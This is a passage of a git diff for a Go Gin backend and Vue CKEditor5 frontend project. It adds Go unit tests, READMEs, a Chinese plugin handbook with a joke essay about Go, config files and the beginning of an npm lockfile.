{ + t.Logf("直接输出切片:%#+v\n", strs) + } else { + t.Errorf(err.Error()) + } + } else { + t.Errorf(err.Error()) + } + redisClient.ReleaseOneRedisClient() +} + +// 其他请参照以上示例即可 diff --git a/GinSkeleton/test/snowflake_test.go b/GinSkeleton/test/snowflake_test.go new file mode 100644 index 0000000..b916ade --- /dev/null +++ b/GinSkeleton/test/snowflake_test.go @@ -0,0 +1,56 @@ +package test + +import ( + "goskeleton/app/global/variable" + _ "goskeleton/bootstrap" + "sync" + "testing" +) + +// 雪花算法单元测试 + +func TestSnowFlake(t *testing.T) { + // 并发 3万 测试,实际业务场景中,并发是不可能达到 3万 这个值的 + var slice1 []int64 + var vMuext sync.Mutex + var wg sync.WaitGroup + wg.Add(30000) + + for i := 1; i <= 30000; i++ { + go func() { + defer wg.Done() + //加锁操作主要是为了保证切片([]int64)的并发安全, + //我们本次测试的核心目的是雪花算法生成的ID必须是唯一的 + vMuext.Lock() + slice1 = append(slice1, variable.SnowFlake.GetId()) + vMuext.Unlock() + //fmt.Printf("%d\n", variable.SnowFlake.GetId()) + }() + } + + wg.Wait() + + if lastLen := len(RemoveRepeatedElement(slice1)); lastLen == 30000 { + t.Log("单元测试OK") + } else { + t.Errorf("雪花算法单元测试失败,并发 3万 生成的id经过去重之后,小于预期个数,去重后的个数:%d\n", lastLen) + } +} + +// 切片去重 +func RemoveRepeatedElement(arr []int64) (newArr []int64) { + newArr = make([]int64, 0) + for i := 0; i < len(arr); i++ { + repeat := false + for j := i + 1; j < len(arr); j++ { + if arr[i] == arr[j] { + repeat = true + break + } + } + if !repeat { + newArr = append(newArr, arr[i]) + } + } + return +} diff --git a/README.md b/README.md new file mode 100644 index 0000000..f82ec46 --- /dev/null +++ b/README.md @@ -0,0 +1,27 @@ +# 后端启动 +`cd GinSkeleton; go mod tidy; go run main.go ` +api文档见 `GinSkeleton/api_doc.md` +# CKEditor +`ckeditor5-build-classic/handbook.md`中有一些参考, +包括下载、安装、引用、配置插件等。 + +

Go恩情作文

+Go爷爷是位现代而优雅的程序员,他以简洁高效的处理方式和强大的并发能力受到大家的喜爱。 + +一天,我们几个初学者围着Go爷爷请教问题。Go爷爷正在用goroutine处理并发任务,但他看到我们后,优雅地将任务放入channel中暂存,微笑着说:"来吧,代码中没有小事。你们是编程的未来,我的使命就是帮你们理解并发的艺术。" + +我们好奇地问:"Go爷爷,您这不是在处理多个并发任务吗?怎么还有时间理我们?" + +Go爷爷轻轻挥了挥手,说:"别担心,goroutine很轻量,我可以轻松开启成千上万个。用channel协调它们就像交响乐队的指挥,简单又优雅。教你们也不过是另一个goroutine罢了。" + +他指着屏幕,继续说道:"代码世界就像这些goroutine,看似并行混乱,但有了适当的channel通信,一切都井然有序。不过有时会遇到死锁,这是最讨厌的敌人。" + +接着,他打开了一个新的终端,输入"go fmt"命令,说:"代码风格要统一,这是Go的哲学。让所有人写出可读性强的代码,这才是我们的追求。" + +突然,终端显示了一个panic:死锁警告!我们吓了一跳,但Go爷爷淡定地说:"别担心,这就是Go的错误处理机制的美妙之处。defer和recover会帮我们优雅地处理它。" + +他迅速在代码中加入了select语句,轻松化解了死锁。我们不禁赞叹Go的并发处理之优雅! + +几天后,我们发现程序在高并发时偶尔会出现竞态条件。Go爷爷召集我们,诚恳地说:"在并发编程中,我们需要使用sync.Mutex或channel来保护共享资源。来,让我教你们如何用'go run -race'检测竞态条件。" + +我们深深被Go爷爷的务实态度折服。他教会我们:编程不仅要追求简洁高效,更要注重正确性和可维护性。在未来的编程生涯中,我们一定要继承Go爷爷这种追求简约而不简单的精神! diff --git a/ckeditor5/.gitignore b/ckeditor5/.gitignore new file mode 100644 index 0000000..403adbc --- /dev/null +++ b/ckeditor5/.gitignore @@ -0,0 +1,23 @@ +.DS_Store +node_modules +/dist + + +# local env files +.env.local +.env.*.local + +# Log files +npm-debug.log* +yarn-debug.log* +yarn-error.log* +pnpm-debug.log* + +# Editor directories and files +.idea +.vscode +*.suo +*.ntvs* +*.njsproj +*.sln +*.sw? diff --git a/ckeditor5/README.md b/ckeditor5/README.md new file mode 100644 index 0000000..4930440 --- /dev/null +++ b/ckeditor5/README.md @@ -0,0 +1,30 @@ + + +## Project setup +``` +npm install +``` + +### Compiles and hot-reloads for development +``` +npm run serve +``` + +### Compiles and minifies for production +``` +npm run build +``` + +### Lints and fixes files +``` +npm run lint +``` + +### Customize configuration +See [Configuration Reference](https://cli.vuejs.org/config/). + + + + +npm install ckeditor5 +npm install @ckeditor/ckeditor5-vue \ No newline at end of file diff --git a/ckeditor5/handbook.md b/ckeditor5/handbook.md new file mode 100644 index 0000000..11bc06b --- /dev/null +++ b/ckeditor5/handbook.md @@ -0,0 +1,77 @@ +### 运行 +```bash +npm install +npm run serve +``` + +### 引用 +见`App.vue`、`main.js` + +### 添加插件 +插件定义在`./components/plugins.js`中,添加方式见Export2Word插件 + +#### Export2Word插件 +bug1:图片导出为word会恢复原始大小,而不是在编辑器中显示的大小。 +bug2: 导出格式部分错误,如字体颜色、字体背景颜色、高亮 + +#### Export2PDF插件 +bug1: 导出后编辑器框会显示出被选中的颜色 已修复√ +bug2: 导出格式部分错误,字体颜色可以正常显示但背景颜色和高亮不行 + +#### 智能润色 +选中需要处理的文本后,点击对应按钮即可触发实现,对应逻辑需要实现,框架已搭建。见插件Translate +具体的输出可以显示在侧边栏中,修改侧边栏中智能润色子菜单部分`App.vue`44-48行,如果需要与大模型交互,可以参考271-279行和`sendMessage, displayMessage`函数 + +#### 智能格式排版 +· 样式库的管理和编辑 +利用ckeditor5已有插件`style`进行配置。可以对符合要求的block等应用选中的样式。只需要设定好样式库,添加`大模型生成css样式``用户自定义样式管理`即可 +https://ckeditor.com/docs/ckeditor5/latest/features/style.html + +编辑器初始化时 +```javascript +// 配置文件定义样式 +import { ClassicEditor, Style } from 'ckeditor5'; + +ClassicEditor + .create( document.querySelector( '#editor' ), { + plugins: [ Style, /* ... */ ], + toolbar: { + items: [ + 'style', + // More toolbar items. + // ... + ], + }, + style: { + definitions: [ + // Styles definitions. + // ... + ] + } + } ) + .then( /* ... */ ) + .catch( /* ... */ ); +``` +初始化配置,可以通过修改`./components/utils`中的`setConfig`函数和`getUserConfigFromBackend`函数和初始化时对应部分。 +应用样式需要修改`getAndApplyUserStyles`函数。需要和后端配合。 +需要在目录页面(或其他位置)增加一个用户自定义配置的功能。 +```css +/* 定义对应样式的css格式*/ +.ck.ck-content h3.category { + font-family: 'Bebas Neue'; + font-size: 20px; + font-weight: bold; + color: #d1d1d1; + letter-spacing: 10px; + margin: 0; + padding: 0; +} + +.ck.ck-content p.info-box { + padding: 1.2em 2em; + border: 1px solid #e91e63; + border-left: 10px solid #e91e63; + border-radius: 5px; + margin: 1.5em; +} +``` diff --git a/ckeditor5/jsconfig.json b/ckeditor5/jsconfig.json new file mode 100644 index 0000000..4aafc5f --- /dev/null +++ b/ckeditor5/jsconfig.json @@ -0,0 +1,19 @@ +{ + "compilerOptions": { + "target": "es5", + "module": "esnext", + "baseUrl": "./", + "moduleResolution": "node", + "paths": { + "@/*": [ + "src/*" + ] + }, + "lib": [ + "esnext", + "dom", + "dom.iterable", + "scripthost" + ] + } +} diff --git a/ckeditor5/package-lock.json b/ckeditor5/package-lock.json new file mode 100644 index 0000000..6a9bbf5 --- /dev/null +++ b/ckeditor5/package-lock.json @@ -0,0 +1,12578 @@ +{ + "name": "myproject", + "version": "0.1.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "myproject", + "version": "0.1.0", + "dependencies": { + "@ckeditor/ckeditor5-vue": "^7.2.0", + "ckeditor5": "^43.2.0", + "core-js": "^3.8.3", + "element-plus": "^2.8.7", + "file-saver": "^2.0.5", + "html-docx-js-typescript": "^0.1.5", + "mitt": "^3.0.1", + "vue": "^3.2.13" + }, + "devDependencies": { + "@babel/core": "^7.12.16", + "@babel/eslint-parser": "^7.12.16", + "@vue/cli-plugin-babel": "~5.0.0", + "@vue/cli-plugin-eslint": "~5.0.0", + "@vue/cli-service": "~5.0.0", + "babel-plugin-import": "^1.13.8", + "eslint": "^7.32.0", + "eslint-plugin-vue": "^8.0.3", + "unplugin-auto-import": "^0.16.1", + "unplugin-vue-components": "^0.25.0" + } + }, + "node_modules/@achrinza/node-ipc": { + "version": "9.2.9", + "resolved": "https://registry.npmmirror.com/@achrinza/node-ipc/-/node-ipc-9.2.9.tgz", + "integrity": "sha512-7s0VcTwiK/0tNOVdSX9FWMeFdOEcsAOz9HesBldXxFMaGvIak7KC2z9tV9EgsQXn6KUsWsfIkViMNuIo0GoZDQ==", + "dev": true, + "dependencies": { + "@node-ipc/js-queue": "2.0.3", + "event-pubsub": "4.3.0", + "js-message": "1.0.7" + }, + "engines": { + "node": "8 || 9 || 10 || 11 || 12 || 13 || 14 || 15 || 16 || 17 || 18 || 19 || 20 || 21 || 22" + } + }, + "node_modules/@ampproject/remapping": { + "version": "2.3.0", + "resolved": "https://registry.npmmirror.com/@ampproject/remapping/-/remapping-2.3.0.tgz", + "integrity": "sha512-30iZtAPgz+LTIYoeivqYo853f02jBYSd5uGnGpkFV0M3xOt9aN73erkgYAmZU43x4VfqcnLxW9Kpg3R5LC4YYw==", + "dev": true, + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.5", + "@jridgewell/trace-mapping": "^0.3.24" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@antfu/utils": { + "version": "0.7.10", + "resolved": "https://registry.npmmirror.com/@antfu/utils/-/utils-0.7.10.tgz", + "integrity": "sha512-+562v9k4aI80m1+VuMHehNJWLOFjBnXn3tdOitzD0il5b7smkSBal4+a3oKiQTbrwMmN/TBUMDvbdoWDehgOww==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/@babel/code-frame": { + "version": "7.26.0", + "resolved": "https://registry.npmmirror.com/@babel/code-frame/-/code-frame-7.26.0.tgz", + "integrity": "sha512-INCKxTtbXtcNbUZ3YXutwMpEleqttcswhAdee7dhuoVrD2cnuc3PqtERBtxkX5nziX9vnBL8WXmSGwv8CuPV6g==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.25.9", + "js-tokens": "^4.0.0", + "picocolors": "^1.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/compat-data": { + "version": "7.26.0", + "resolved": "https://registry.npmmirror.com/@babel/compat-data/-/compat-data-7.26.0.tgz", + "integrity": "sha512-qETICbZSLe7uXv9VE8T/RWOdIE5qqyTucOt4zLYMafj2MRO271VGgLd4RACJMeBO37UPWhXiKMBk7YlJ0fOzQA==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core": { + "version": "7.26.0", + "resolved": "https://registry.npmmirror.com/@babel/core/-/core-7.26.0.tgz", + "integrity": "sha512-i1SLeK+DzNnQ3LL/CswPCa/E5u4lh1k6IAEphON8F+cXt0t9euTshDru0q7/IqMa1PMPz5RnHuHscF8/ZJsStg==", + "dev": true, + "dependencies": { + "@ampproject/remapping": "^2.2.0", + "@babel/code-frame": "^7.26.0", + "@babel/generator": "^7.26.0", + "@babel/helper-compilation-targets": "^7.25.9", + "@babel/helper-module-transforms": "^7.26.0", + "@babel/helpers": "^7.26.0", + "@babel/parser": "^7.26.0", + "@babel/template": "^7.25.9", + "@babel/traverse": "^7.25.9", + "@babel/types": "^7.26.0", + "convert-source-map": "^2.0.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.3", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/babel" + } + }, + "node_modules/@babel/eslint-parser": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/eslint-parser/-/eslint-parser-7.25.9.tgz", + "integrity": "sha512-5UXfgpK0j0Xr/xIdgdLEhOFxaDZ0bRPWJJchRpqOSur/3rZoPbqqki5mm0p4NE2cs28krBEiSM2MB7//afRSQQ==", + "dev": true, + "dependencies": { + "@nicolo-ribaudo/eslint-scope-5-internals": "5.1.1-v1", + "eslint-visitor-keys": "^2.1.0", + "semver": "^6.3.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || >=14.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.11.0", + "eslint": "^7.5.0 || ^8.0.0 || ^9.0.0" + } + }, + "node_modules/@babel/generator": { + "version": "7.26.0", + "resolved": "https://registry.npmmirror.com/@babel/generator/-/generator-7.26.0.tgz", + "integrity": "sha512-/AIkAmInnWwgEAJGQr9vY0c66Mj6kjkE2ZPB1PurTRaRAh3U+J45sAQMjQDJdh4WbR3l0x5xkimXBKyBXXAu2w==", + "dev": true, + "dependencies": { + "@babel/parser": "^7.26.0", + "@babel/types": "^7.26.0", + "@jridgewell/gen-mapping": "^0.3.5", + "@jridgewell/trace-mapping": "^0.3.25", + "jsesc": "^3.0.2" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-annotate-as-pure": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.25.9.tgz", + "integrity": "sha512-gv7320KBUFJz1RnylIg5WWYPRXKZ884AGkYpgpWW02TH66Dl+HaC1t1CKd0z3R4b6hdYEcmrNZHUmfCP+1u3/g==", + "dev": true, + "dependencies": { + "@babel/types": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-builder-binary-assignment-operator-visitor": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.25.9.tgz", + "integrity": "sha512-C47lC7LIDCnz0h4vai/tpNOI95tCd5ZT3iBt/DBH5lXKHZsyNQv18yf1wIIg2ntiQNgmAvA+DgZ82iW8Qdym8g==", + "dev": true, + "dependencies": { + "@babel/traverse": "^7.25.9", + "@babel/types": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-compilation-targets": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-compilation-targets/-/helper-compilation-targets-7.25.9.tgz", + "integrity": "sha512-j9Db8Suy6yV/VHa4qzrj9yZfZxhLWQdVnRlXxmKLYlhWUVB1sB2G5sxuWYXk/whHD9iW76PmNzxZ4UCnTQTVEQ==", + "dev": true, + "dependencies": { + "@babel/compat-data": "^7.25.9", + "@babel/helper-validator-option": "^7.25.9", + "browserslist": "^4.24.0", + "lru-cache": "^5.1.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-create-class-features-plugin": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.25.9.tgz", + "integrity": "sha512-UTZQMvt0d/rSz6KI+qdu7GQze5TIajwTS++GUozlw8VBJDEOAqSXwm1WvmYEZwqdqSGQshRocPDqrt4HBZB3fQ==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.25.9", + "@babel/helper-member-expression-to-functions": "^7.25.9", + "@babel/helper-optimise-call-expression": "^7.25.9", + "@babel/helper-replace-supers": "^7.25.9", + "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9", + "@babel/traverse": "^7.25.9", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-create-regexp-features-plugin": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.25.9.tgz", + "integrity": "sha512-ORPNZ3h6ZRkOyAa/SaHU+XsLZr0UQzRwuDQ0cczIA17nAzZ+85G5cVkOJIj7QavLZGSe8QXUmNFxSZzjcZF9bw==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.25.9", + "regexpu-core": "^6.1.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-define-polyfill-provider": { + "version": "0.6.2", + "resolved": "https://registry.npmmirror.com/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.6.2.tgz", + "integrity": "sha512-LV76g+C502biUK6AyZ3LK10vDpDyCzZnhZFXkH1L75zHPj68+qc8Zfpx2th+gzwA2MzyK+1g/3EPl62yFnVttQ==", + "dev": true, + "dependencies": { + "@babel/helper-compilation-targets": "^7.22.6", + "@babel/helper-plugin-utils": "^7.22.5", + "debug": "^4.1.1", + "lodash.debounce": "^4.0.8", + "resolve": "^1.14.2" + }, + "peerDependencies": { + "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/@babel/helper-member-expression-to-functions": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.25.9.tgz", + "integrity": "sha512-wbfdZ9w5vk0C0oyHqAJbc62+vet5prjj01jjJ8sKn3j9h3MQQlflEdXYvuqRWjHnM12coDEqiC1IRCi0U/EKwQ==", + "dev": true, + "dependencies": { + "@babel/traverse": "^7.25.9", + "@babel/types": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-imports": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-module-imports/-/helper-module-imports-7.25.9.tgz", + "integrity": "sha512-tnUA4RsrmflIM6W6RFTLFSXITtl0wKjgpnLgXyowocVPrbYrLUXSBXDgTs8BlbmIzIdlBySRQjINYs2BAkiLtw==", + "dev": true, + "dependencies": { + "@babel/traverse": "^7.25.9", + "@babel/types": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms": { + "version": "7.26.0", + "resolved": "https://registry.npmmirror.com/@babel/helper-module-transforms/-/helper-module-transforms-7.26.0.tgz", + "integrity": "sha512-xO+xu6B5K2czEnQye6BHA7DolFFmS3LB7stHZFaOLb1pAwO1HWLS8fXA+eh0A2yIvltPVmx3eNNDBJA2SLHXFw==", + "dev": true, + "dependencies": { + "@babel/helper-module-imports": "^7.25.9", + "@babel/helper-validator-identifier": "^7.25.9", + "@babel/traverse": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-optimise-call-expression": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.25.9.tgz", + "integrity": "sha512-FIpuNaz5ow8VyrYcnXQTDRGvV6tTjkNtCK/RYNDXGSLlUD6cBuQTSw43CShGxjvfBTfcUA/r6UhUCbtYqkhcuQ==", + "dev": true, + "dependencies": { + "@babel/types": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-plugin-utils": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.25.9.tgz", + "integrity": "sha512-kSMlyUVdWe25rEsRGviIgOWnoT/nfABVWlqt9N19/dIPWViAOW2s9wznP5tURbs/IDuNk4gPy3YdYRgH3uxhBw==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-remap-async-to-generator": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.25.9.tgz", + "integrity": "sha512-IZtukuUeBbhgOcaW2s06OXTzVNJR0ybm4W5xC1opWFFJMZbwRj5LCk+ByYH7WdZPZTt8KnFwA8pvjN2yqcPlgw==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.25.9", + "@babel/helper-wrap-function": "^7.25.9", + "@babel/traverse": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-replace-supers": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-replace-supers/-/helper-replace-supers-7.25.9.tgz", + "integrity": "sha512-IiDqTOTBQy0sWyeXyGSC5TBJpGFXBkRynjBeXsvbhQFKj2viwJC76Epz35YLU1fpe/Am6Vppb7W7zM4fPQzLsQ==", + "dev": true, + "dependencies": { + "@babel/helper-member-expression-to-functions": "^7.25.9", + "@babel/helper-optimise-call-expression": "^7.25.9", + "@babel/traverse": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-simple-access": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-simple-access/-/helper-simple-access-7.25.9.tgz", + "integrity": "sha512-c6WHXuiaRsJTyHYLJV75t9IqsmTbItYfdj99PnzYGQZkYKvan5/2jKJ7gu31J3/BJ/A18grImSPModuyG/Eo0Q==", + "dev": true, + "dependencies": { + "@babel/traverse": "^7.25.9", + "@babel/types": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-skip-transparent-expression-wrappers": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.25.9.tgz", + "integrity": "sha512-K4Du3BFa3gvyhzgPcntrkDgZzQaq6uozzcpGbOO1OEJaI+EJdqWIMTLgFgQf6lrfiDFo5FU+BxKepI9RmZqahA==", + "dev": true, + "dependencies": { + "@babel/traverse": "^7.25.9", + "@babel/types": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-string-parser/-/helper-string-parser-7.25.9.tgz", + "integrity": "sha512-4A/SCr/2KLd5jrtOMFzaKjVtAei3+2r/NChoBNoZ3EyP/+GlhoaEGoWOZUmFmoITP7zOJyHIMm+DYRd8o3PvHA==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.25.9.tgz", + "integrity": "sha512-Ed61U6XJc3CVRfkERJWDz4dJwKe7iLmmJsbOGu9wSloNSFttHV0I8g6UAgb7qnK5ly5bGLPd4oXZlxCdANBOWQ==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-option": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-validator-option/-/helper-validator-option-7.25.9.tgz", + "integrity": "sha512-e/zv1co8pp55dNdEcCynfj9X7nyUKUXoUEwfXqaZt0omVOmDe9oOTdKStH4GmAw6zxMFs50ZayuMfHDKlO7Tfw==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-wrap-function": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-wrap-function/-/helper-wrap-function-7.25.9.tgz", + "integrity": "sha512-ETzz9UTjQSTmw39GboatdymDq4XIQbR8ySgVrylRhPOFpsd+JrKHIuF0de7GCWmem+T4uC5z7EZguod7Wj4A4g==", + "dev": true, + "dependencies": { + "@babel/template": "^7.25.9", + "@babel/traverse": "^7.25.9", + "@babel/types": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers": { + "version": "7.26.0", + "resolved": "https://registry.npmmirror.com/@babel/helpers/-/helpers-7.26.0.tgz", + "integrity": "sha512-tbhNuIxNcVb21pInl3ZSjksLCvgdZy9KwJ8brv993QtIVKJBBkYXz4q4ZbAv31GdnC+R90np23L5FbEBlthAEw==", + "dev": true, + "dependencies": { + "@babel/template": "^7.25.9", + "@babel/types": "^7.26.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/highlight": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/highlight/-/highlight-7.25.9.tgz", + "integrity": "sha512-llL88JShoCsth8fF8R4SJnIn+WLvR6ccFxu1H3FlMhDontdcmZWf2HgIZ7AIqV3Xcck1idlohrN4EUBQz6klbw==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.25.9", + "chalk": "^2.4.2", + "js-tokens": "^4.0.0", + "picocolors": "^1.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/highlight/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmmirror.com/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/highlight/node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmmirror.com/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/highlight/node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmmirror.com/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/@babel/highlight/node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmmirror.com/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==", + "dev": true + }, + "node_modules/@babel/highlight/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/highlight/node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/@babel/parser": { + "version": "7.26.1", + "resolved": "https://registry.npmmirror.com/@babel/parser/-/parser-7.26.1.tgz", + "integrity": "sha512-reoQYNiAJreZNsJzyrDNzFQ+IQ5JFiIzAHJg9bn94S3l+4++J7RsIhNMoB+lgP/9tpmiAQqspv+xfdxTSzREOw==", + "dependencies": { + "@babel/types": "^7.26.0" + }, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-firefox-class-in-computed-class-key": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-bugfix-firefox-class-in-computed-class-key/-/plugin-bugfix-firefox-class-in-computed-class-key-7.25.9.tgz", + "integrity": "sha512-ZkRyVkThtxQ/J6nv3JFYv1RYY+JT5BvU0y3k5bWrmuG4woXypRa4PXmm9RhOwodRkYFWqC0C0cqcJ4OqR7kW+g==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/traverse": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-safari-class-field-initializer-scope": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-bugfix-safari-class-field-initializer-scope/-/plugin-bugfix-safari-class-field-initializer-scope-7.25.9.tgz", + "integrity": "sha512-MrGRLZxLD/Zjj0gdU15dfs+HH/OXvnw/U4jJD8vpcP2CJQapPEv1IWwjc/qMg7ItBlPwSv1hRBbb7LeuANdcnw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.25.9.tgz", + "integrity": "sha512-2qUwwfAFpJLZqxd02YW9btUCZHl+RFvdDkNfZwaIJrvB8Tesjsk8pEQkTvGwZXLqXUx/2oyY3ySRhm6HOXuCug==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": 